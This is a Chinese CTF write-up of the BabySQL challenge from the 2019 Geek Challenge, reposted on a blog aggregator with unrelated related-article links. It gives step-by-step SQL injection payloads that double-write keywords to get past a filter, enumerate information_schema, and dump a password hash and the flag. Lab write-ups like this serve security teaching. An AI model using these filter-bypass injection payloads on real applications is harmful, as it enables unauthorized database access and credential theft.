当前位置: 首页 > news >正文

双写绕过 [极客大挑战 2019]BabySQL 1

打开题目

随便输入账号密码

根据报错信息可知这是单引号的字符型注入

那我们试试万能密码

1' or '1'='1  页面报错

1  or '1'='1 页面报错

而且根据报错内容显示是没有我们注入上去的or的

那我们就试试

1' order by 3 #

页面报错,根据报错显示页面过滤掉了or和by

那我们试试

-1' union select 1,2,3,4 #

根据报错显示页面过滤了union和select

那我们就可以尝试双写绕过

1' ununionion seselectlect 1 #

报错显示有不同的列名

那就一个一个试吧

1' ununionion seselectlect 1,2,3#

页面正常

并且这里显示报错显示位为2,3

1' ununionion seselectlect 1,2,3,4#

页面报错

说明列名字段数为3

爆用户名和数据库名

-1’ ununionion seselectlect 1,user(),database()  #

这样我们就可以知道数据库用户名为root@localhost,数据库名为geek

-1' ununionion seselectlect 1,version(),@@version_compile_os #

这样我们就知道操作系统version_compile_os为Linux,数据库版本为10.3.18-MariaDB

总结一下就是

操作系统version_compile_os:Linux

数据库版本version():  10.3.18-MariaDB

数据库用户名user():  root@localhost

数据库名database():  geek

接下来我们查询geek数据库下的表名信息

-1' ununionion seselectlect 1,table_name,3 from information_schema.tables where table_shcema='geek' #

我们发现informmation,where都被过滤掉了

那我们对其进行双写

-1' uunionnion seselectlect 1,group_concat(table_name),3 frfromom inforformationmation_schema.tables whwhereere table_schema='geek' #

忘记页面是过滤or了

重新换个姿势

-1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #

说明表名有b4bsql,geekuser

爆破列名

-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='geekuser' #

爆破数据

-1' uunionnion seselectlect 1,2,password frfromom geekuser  #

又忘记过滤or了

-1' uunionnion seselectlect 1,2,group_concat(passwoorrd) frfromom geekuser  #

这下爆出了password为2ac772d9987993a29b85958839d4e468

用户名为admin

id为1

尝试登录了一下用户名和密码,发现下面没有flag

那我们爆破b4bsql表下的列名

-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #

发现下面也有三个列名

-1' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql #

查看页面源代码得到flag

知识点:

常见的sql注入绕过方式:SQL注入绕过入门总结篇 - FreeBuf网络安全行业门户

information_schema.schemata 获取所有数据库信息

表包含以下列:

  1. catalog_name:目录名称
  2. schema_name: 模式(数据库)的名称。
  3. default_character_set_name: 数据库编码。
  4. default_collation_name: 数据库排序规则

http://www.lryc.cn/news/234213.html

相关文章:

  • uni.app 使用 mixins 技术统一注入小程序页面分享到好友,分享朋友圈功能
  • 贝叶斯AB测试
  • 信息检索与数据挖掘 | 【实验】检索评价指标MAP、MRR、NDCG
  • 读书笔记:彼得·德鲁克《认识管理》第24章 管理岗位的设计与内容
  • 某60区块链安全之51%攻击实战学习记录
  • 为什么原生IP可以降低Google play账号关联风险?企业号解决8.3/10.3账号关联问题?
  • 排列组合C(n,m)和A(n,m)理解及代码实现
  • EasyExcel导入从第几行开始
  • 均匀光源积分球的应用领域有哪些
  • 【LeetCode】每日一题 2023_11_18 数位和相等数对的最大和(模拟/哈希)
  • 【喵叔闲扯】--迪米特法则
  • 企业视频数字人有哪些应用场景
  • LoRa模块空中唤醒功能原理和物联网应用
  • spring中的DI
  • gpt-4-vision-preview 识图
  • Spring Framework 6.1 正式发布
  • SystemVerilog学习 (11)——覆盖率
  • jQuery,解决命名冲突的问题
  • 为什么C++标准库中atomic shared_ptr不是lockfree实现?
  • Python基础入门例程58-NP58 找到HR(循环语句)
  • 航天联志Aisino-AISINO26081R服务器通过调BIOS用U盘重新做系统(windows系统通用)
  • windows 10 更新永久关闭
  • 循环优先级仲裁~位屏蔽仲裁算法
  • 千年版本修改小技巧
  • 教学过程中可以实施哪些考核评价方式?
  • MyBatis查询数据库(全是精髓)
  • elementPlus+vue3引入icon图标
  • Spring框架中的bean管理(XML和注解及属性的注入)
  • MySQL 存储过程提高数据库效率和可维护性
  • JAXB的XmlElement注解